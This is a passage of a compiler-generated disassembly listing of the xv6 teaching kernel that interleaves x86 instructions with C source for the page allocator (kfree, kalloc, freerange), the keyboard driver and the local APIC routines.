$0x10,%esp 80102310: 85 d2 test %edx,%edx 80102312: 75 2c jne 80102340 <kfree+0x70> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102314: a1 78 26 11 80 mov 0x80112678,%eax 80102319: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 8010231b: a1 74 26 11 80 mov 0x80112674,%eax if(kmem.use_lock) acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; 80102320: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 80102326: 85 c0 test %eax,%eax 80102328: 75 06 jne 80102330 <kfree+0x60> release(&kmem.lock); } 8010232a: 8b 5d fc mov -0x4(%ebp),%ebx 8010232d: c9 leave 8010232e: c3 ret 8010232f: 90 nop acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 80102330: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 80102337: 8b 5d fc mov -0x4(%ebp),%ebx 8010233a: c9 leave acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 8010233b: e9 00 24 00 00 jmp 80104740 <release> // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); if(kmem.use_lock) acquire(&kmem.lock); 80102340: 83 ec 0c sub $0xc,%esp 80102343: 68 40 26 11 80 push $0x80112640 80102348: e8 43 23 00 00 call 80104690 <acquire> 8010234d: 83 c4 10 add $0x10,%esp 80102350: eb c2 jmp 80102314 <kfree+0x44> kfree(char *v) { struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) panic("kfree"); 80102352: 83 ec 0c sub $0xc,%esp 80102355: 68 86 75 10 80 push $0x80107586 8010235a: e8 11 e0 ff ff call 80100370 <panic> 8010235f: 90 nop 80102360 <freerange>: kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 80102360: 55 push %ebp 80102361: 89 e5 mov %esp,%ebp 80102363: 56 push %esi 80102364: 53 push %ebx char *p; p = (char*)PGROUNDUP((uint)vstart); 80102365: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 80102368: 8b 75 0c mov 0xc(%ebp),%esi char *p; p = (char*)PGROUNDUP((uint)vstart); 8010236b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102371: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102377: 81 c3 00 10 00 00 add $0x1000,%ebx 8010237d: 39 de cmp %ebx,%esi 8010237f: 72 23 jb 801023a4 <freerange+0x44> 80102381: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102388: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010238e: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102391: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102397: 50 push %eax 80102398: e8 33 ff ff ff call 801022d0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010239d: 83 c4 10 add $0x10,%esp 801023a0: 39 f3 cmp %esi,%ebx 801023a2: 76 e4 jbe 80102388 <freerange+0x28> kfree(p); } 801023a4: 8d 65 f8 lea -0x8(%ebp),%esp 801023a7: 5b pop %ebx 801023a8: 5e pop %esi 801023a9: 5d pop %ebp 801023aa: c3 ret 801023ab: 90 nop 801023ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023b0 <kinit1>: // the pages mapped by entrypgdir on free list. // 2. main() calls kinit2() with the rest of the physical pages // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { 801023b0: 55 push %ebp 801023b1: 89 e5 mov %esp,%ebp 801023b3: 56 push %esi 801023b4: 53 push %ebx 801023b5: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023b8: 83 ec 08 sub $0x8,%esp 801023bb: 68 8c 75 10 80 push $0x8010758c 801023c0: 68 40 26 11 80 push $0x80112640 801023c5: e8 66 21 00 00 call 80104530 <initlock> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 801023ca: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023cd: 83 c4 10 add $0x10,%esp // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; 801023d0: c7 05 74 26 11 80 00 movl $0x0,0x80112674 801023d7: 00 00 00 void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 801023da: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801023e0: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023e6: 81 c3 00 10 00 00 add $0x1000,%ebx 801023ec: 39 de cmp %ebx,%esi 801023ee: 72 1c jb 8010240c <kinit1+0x5c> kfree(p); 801023f0: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 801023f6: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023f9: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801023ff: 50 push %eax 80102400: e8 cb fe ff ff call 801022d0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102405: 83 c4 10 add $0x10,%esp 80102408: 39 de cmp %ebx,%esi 8010240a: 73 e4 jae 801023f0 <kinit1+0x40> kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; freerange(vstart, vend); } 8010240c: 8d 65 f8 lea -0x8(%ebp),%esp 8010240f: 5b pop %ebx 80102410: 5e pop %esi 80102411: 5d pop %ebp 80102412: c3 ret 80102413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102420 <kinit2>: void kinit2(void *vstart, void *vend) { 80102420: 55 push %ebp 80102421: 89 e5 mov %esp,%ebp 80102423: 56 push %esi 80102424: 53 push %ebx void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 80102425: 8b 45 08 mov 0x8(%ebp),%eax freerange(vstart, vend); } void kinit2(void *vstart, void *vend) { 80102428: 8b 75 0c mov 0xc(%ebp),%esi void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 8010242b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102431: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102437: 81 c3 00 10 00 00 add $0x1000,%ebx 8010243d: 39 de cmp %ebx,%esi 8010243f: 72 23 jb 80102464 <kinit2+0x44> 80102441: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102448: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010244e: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102451: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102457: 50 push %eax 80102458: e8 73 fe ff ff call 801022d0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010245d: 83 c4 10 add $0x10,%esp 80102460: 39 de cmp %ebx,%esi 80102462: 73 e4 jae 80102448 <kinit2+0x28> void kinit2(void *vstart, void *vend) { freerange(vstart, vend); kmem.use_lock = 1; 80102464: c7 05 74 26 11 80 01 movl $0x1,0x80112674 8010246b: 00 00 00 } 8010246e: 8d 65 f8 lea -0x8(%ebp),%esp 80102471: 5b pop %ebx 80102472: 5e pop %esi 80102473: 5d pop %ebp 80102474: c3 ret 80102475: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102480 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102480: 55 push %ebp 80102481: 89 e5 mov %esp,%ebp 80102483: 53 push %ebx 80102484: 83 ec 04 sub $0x4,%esp struct run *r; if(kmem.use_lock) 80102487: a1 74 26 11 80 mov 0x80112674,%eax 8010248c: 85 c0 test %eax,%eax 8010248e: 75 30 jne 801024c0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 80102490: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 80102496: 85 db test %ebx,%ebx 80102498: 74 1c je 801024b6 <kalloc+0x36> kmem.freelist = r->next; 8010249a: 8b 13 mov (%ebx),%edx 8010249c: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024a2: 85 c0 test %eax,%eax 801024a4: 74 10 je 801024b6 <kalloc+0x36> release(&kmem.lock); 801024a6: 83 ec 0c sub $0xc,%esp 801024a9: 68 40 26 11 80 push $0x80112640 801024ae: e8 8d 22 00 00 call 80104740 <release> 801024b3: 83 c4 10 add $0x10,%esp return (char*)r; } 801024b6: 89 d8 mov %ebx,%eax 801024b8: 8b 5d fc mov -0x4(%ebp),%ebx 801024bb: c9 leave 801024bc: c3 ret 801024bd: 8d 76 00 lea 0x0(%esi),%esi kalloc(void) { struct run *r; if(kmem.use_lock) acquire(&kmem.lock); 801024c0: 83 ec 0c sub $0xc,%esp 801024c3: 68 40 26 11 80 push $0x80112640 801024c8: e8 c3 21 00 00 call 80104690 <acquire> r = kmem.freelist; 801024cd: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 801024d3: 83 c4 10 add $0x10,%esp 801024d6: a1 74 26 11 80 mov 0x80112674,%eax 801024db: 85 db test %ebx,%ebx 801024dd: 75 bb jne 8010249a <kalloc+0x1a> 801024df: eb c1 jmp 801024a2 <kalloc+0x22> 801024e1: 66 90 xchg %ax,%ax 801024e3: 66 90 xchg %ax,%ax 801024e5: 66 90 xchg %ax,%ax 801024e7: 66 90 xchg %ax,%ax 801024e9: 66 90 xchg %ax,%ax 801024eb: 66 90 xchg %ax,%ax 801024ed: 66 90 xchg %ax,%ax 801024ef: 90 nop 801024f0 <kbdgetc>: #include "defs.h" #include "kbd.h" int kbdgetc(void) { 801024f0: 55 push %ebp static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801024f1: ba 64 00 00 00 mov $0x64,%edx 801024f6: 89 e5 mov %esp,%ebp 801024f8: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 801024f9: a8 01 test $0x1,%al 801024fb: 0f 84 af 00 00 00 je 801025b0 <kbdgetc+0xc0> 80102501: ba 60 00 00 00 mov $0x60,%edx 80102506: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102507: 0f b6 d0 movzbl %al,%edx if(data == 0xE0){ 8010250a: 81 fa e0 00 00 00 cmp $0xe0,%edx 80102510: 74 7e je 80102590 <kbdgetc+0xa0> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102512: 84 c0 test %al,%al // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102514: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; return 0; } else if(data & 0x80){ 8010251a: 79 24 jns 80102540 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 8010251c: f6 c1 40 test $0x40,%cl 8010251f: 75 05 jne 80102526 <kbdgetc+0x36> 80102521: 89 c2 mov %eax,%edx 80102523: 83 e2 7f and $0x7f,%edx shift &= ~(shiftcode[data] | E0ESC); 80102526: 0f b6 82 c0 76 10 80 movzbl -0x7fef8940(%edx),%eax 8010252d: 83 c8 40 or $0x40,%eax 80102530: 0f b6 c0 movzbl %al,%eax 80102533: f7 d0 not %eax 80102535: 21 c8 and %ecx,%eax 80102537: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010253c: 31 c0 xor %eax,%eax c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 8010253e: 5d pop %ebp 8010253f: c3 ret } else if(data & 0x80){ // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 80102540: f6 c1 40 test $0x40,%cl 80102543: 74 09 je 8010254e <kbdgetc+0x5e> // Last character was an E0 escape; or with 0x80 data |= 0x80; 80102545: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102548: 83 e1 bf and $0xffffffbf,%ecx data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010254b: 0f b6 d0 movzbl %al,%edx shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; 8010254e: 0f b6 82 c0 76 10 80 movzbl -0x7fef8940(%edx),%eax 80102555: 09 c1 or %eax,%ecx 80102557: 0f b6 82 c0 75 10 80 movzbl -0x7fef8a40(%edx),%eax 8010255e: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102560: 89 c8 mov %ecx,%eax data |= 0x80; shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; 80102562: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; 80102568: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 8010256b: 83 e1 08 and $0x8,%ecx shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; 8010256e: 8b 04 85 a0 75 10 80 mov -0x7fef8a60(,%eax,4),%eax 80102575: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 80102579: 74 c3 je 8010253e <kbdgetc+0x4e> if('a' <= c && c <= 'z') 8010257b: 8d 50 9f lea -0x61(%eax),%edx 8010257e: 83 fa 19 cmp $0x19,%edx 80102581: 77 1d ja 801025a0 <kbdgetc+0xb0> c += 'A' - 'a'; 80102583: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102586: 5d pop %ebp 80102587: c3 ret 80102588: 90 nop 80102589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; return 0; 80102590: 31 c0 xor %eax,%eax if((st & KBS_DIB) == 0) return -1; data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; 80102592: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102599: 5d pop %ebp 8010259a: c3 ret 8010259b: 90 nop 8010259c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ if('a' <= c && c <= 'z') c += 'A' - 'a'; else if('A' <= c && c <= 'Z') 801025a0: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025a3: 8d 50 20 lea 0x20(%eax),%edx } return c; } 801025a6: 5d pop %ebp c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ if('a' <= c && c <= 'z') c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; 801025a7: 83 f9 19 cmp $0x19,%ecx 801025aa: 0f 46 c2 cmovbe %edx,%eax } return c; } 801025ad: c3 ret 801025ae: 66 90 xchg %ax,%ax }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) return -1; 801025b0: b8 ff ff ff ff mov $0xffffffff,%eax c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025b5: 5d pop %ebp 801025b6: c3 ret 801025b7: 89 f6 mov %esi,%esi 801025b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801025c0 <kbdintr>: void kbdintr(void) { 801025c0: 55 push %ebp 801025c1: 89 e5 mov %esp,%ebp 801025c3: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 801025c6: 68 f0 24 10 80 push $0x801024f0 801025cb: e8 20 e2 ff ff call 801007f0 <consoleintr> } 801025d0: 83 c4 10 add $0x10,%esp 801025d3: c9 leave 801025d4: c3 ret 801025d5: 66 90 xchg %ax,%ax 801025d7: 66 90 xchg %ax,%ax 801025d9: 66 90 xchg %ax,%ax 801025db: 66 90 xchg %ax,%ax 801025dd: 66 90 xchg %ax,%ax 801025df: 90 nop 801025e0 <lapicinit>: } void lapicinit(void) { if(!lapic) 801025e0: a1 7c 26 11 80 mov 0x8011267c,%eax lapic[ID]; // wait for write to finish, by reading } void lapicinit(void) { 801025e5: 55 push %ebp 801025e6: 89 e5 mov %esp,%ebp if(!lapic) 801025e8: 85 c0 test %eax,%eax 801025ea: 0f 84 c8 00 00 00 je 801026b8 <lapicinit+0xd8> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801025f0: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 801025f7: 01 00 00 lapic[ID]; // wait for write to finish, by reading 801025fa: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801025fd: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102604: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102607: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010260a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102611: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102614: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102617: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010261e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102621: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102624: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010262b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010262e: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102631: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 80102638: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010263b: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 8010263e: 8b 50 30 mov 0x30(%eax),%edx 80102641: c1 ea 10 shr $0x10,%edx 80102644: 80 fa 03 cmp $0x3,%dl 80102647: 77 77 ja 801026c0 <lapicinit+0xe0> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102649: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 80102650: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102653: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102656: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010265d: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102660: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102663: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010266a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010266d: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102670: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102677: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010267a: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010267d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102684: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102687: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010268a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102691: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102694: 8b 50 20 mov 0x20(%eax),%edx 80102697: 89 f6 mov %esi,%esi 80102699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 801026a0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 801026a6: 80 e6 10 and $0x10,%dh 801026a9: 75 f5 jne 801026a0 <lapicinit+0xc0> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026ab: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 801026b2: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026b5: 8b 40 20 mov 0x20(%eax),%eax while(lapic[ICRLO] & DELIVS) ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 801026b8: 5d pop %ebp 801026b9: c3 ret 801026ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026c0: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 801026c7: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026ca: 8b 50 20 mov 0x20(%eax),%edx 801026cd: e9 77 ff ff ff jmp 80102649 <lapicinit+0x69> 801026d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801026d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801026e0 <lapicid>: } int lapicid(void) { if (!lapic) 801026e0: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(TPR, 0); } int lapicid(void) { 801026e5: 55 push %ebp 801026e6: 89 e5 mov %esp,%ebp if (!lapic) 801026e8: 85 c0 test %eax,%eax 801026ea: 74 0c je 801026f8 <lapicid+0x18> return 0; return lapic[ID] >> 24; 801026ec: 8b 40 20 mov 0x20(%eax),%eax } 801026ef: 5d pop %ebp int lapicid(void) { if (!lapic) return 0; return lapic[ID] >> 24; 801026f0: c1 e8 18 shr $0x18,%eax } 801026f3: c3 ret 801026f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int lapicid(void) { if (!lapic) return 0; 801026f8: 31 c0 xor %eax,%eax return lapic[ID] >> 24; } 801026fa: 5d pop %ebp 801026fb: c3 ret 801026fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102700 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102700: a1 7c 26 11 80 mov 0x8011267c,%eax } // Acknowledge interrupt. void lapiceoi(void) { 80102705: 55 push %ebp 80102706: 89 e5 mov %esp,%ebp if(lapic) 80102708: 85 c0 test %eax,%eax 8010270a: 74 0d je 80102719 <lapiceoi+0x19> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010270c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102713: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102716: 8b 40 20 mov 0x20(%eax),%eax void lapiceoi(void) { if(lapic) lapicw(EOI, 0); } 80102719: 5d pop %ebp 8010271a: c3 ret 8010271b: 90 nop 8010271c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102720 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80102720: 55 push %ebp 80102721: 89 e5 mov %esp,%ebp } 80102723: 5d pop %ebp 80102724: c3 ret 80102725: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102730 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80102730: 55 push %ebp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102731: ba 70 00 00 00 mov $0x70,%edx 80102736: b8 0f 00 00 00 mov $0xf,%eax 8010273b: 89 e5 mov %esp,%ebp 8010273d: 53 push %ebx 8010273e: 8b 4d 0c mov 0xc(%ebp),%ecx 80102741: 8b 5d 08 mov 0x8(%ebp),%ebx 80102744: ee out %al,(%dx) 80102745: ba 71 00 00 00 mov $0x71,%edx 8010274a: b8 0a 00 00 00 mov $0xa,%eax 8010274f: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 80102750: 31 c0 xor %eax,%eax //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102752: c1 e3 18 shl $0x18,%ebx // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 80102755: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 8010275b: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 8010275d: c1 e9 0c shr $0xc,%ecx // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; wrv[1] = addr >> 4; 80102760: c1 e8 04 shr $0x4,%eax //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102763: 89 da mov %ebx,%edx // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 80102765: 80 cd 06 or $0x6,%ch // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; wrv[1] = addr >> 4; 80102768: 66 a3 69 04 00 80 mov %ax,0x80000469 //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010276e: a1 7c 26 11 80 mov 0x8011267c,%eax 80102773: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102779: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010277c: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 80102783: c5 00 00 lapic[ID]; // wait for write to finish, by reading 80102786: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102789: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 80102790: 85 00 00 lapic[ID]; // wait for write to finish, by reading 80102793: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102796: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010279c: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010279f: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027a5: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027a8: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027ae: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027b1: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027b7: 8b 40 20 mov 0x20(%eax),%eax for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); microdelay(200); } } 801027ba: 5b pop %ebx 801027bb: 5d pop %ebp 801027bc: c3 ret 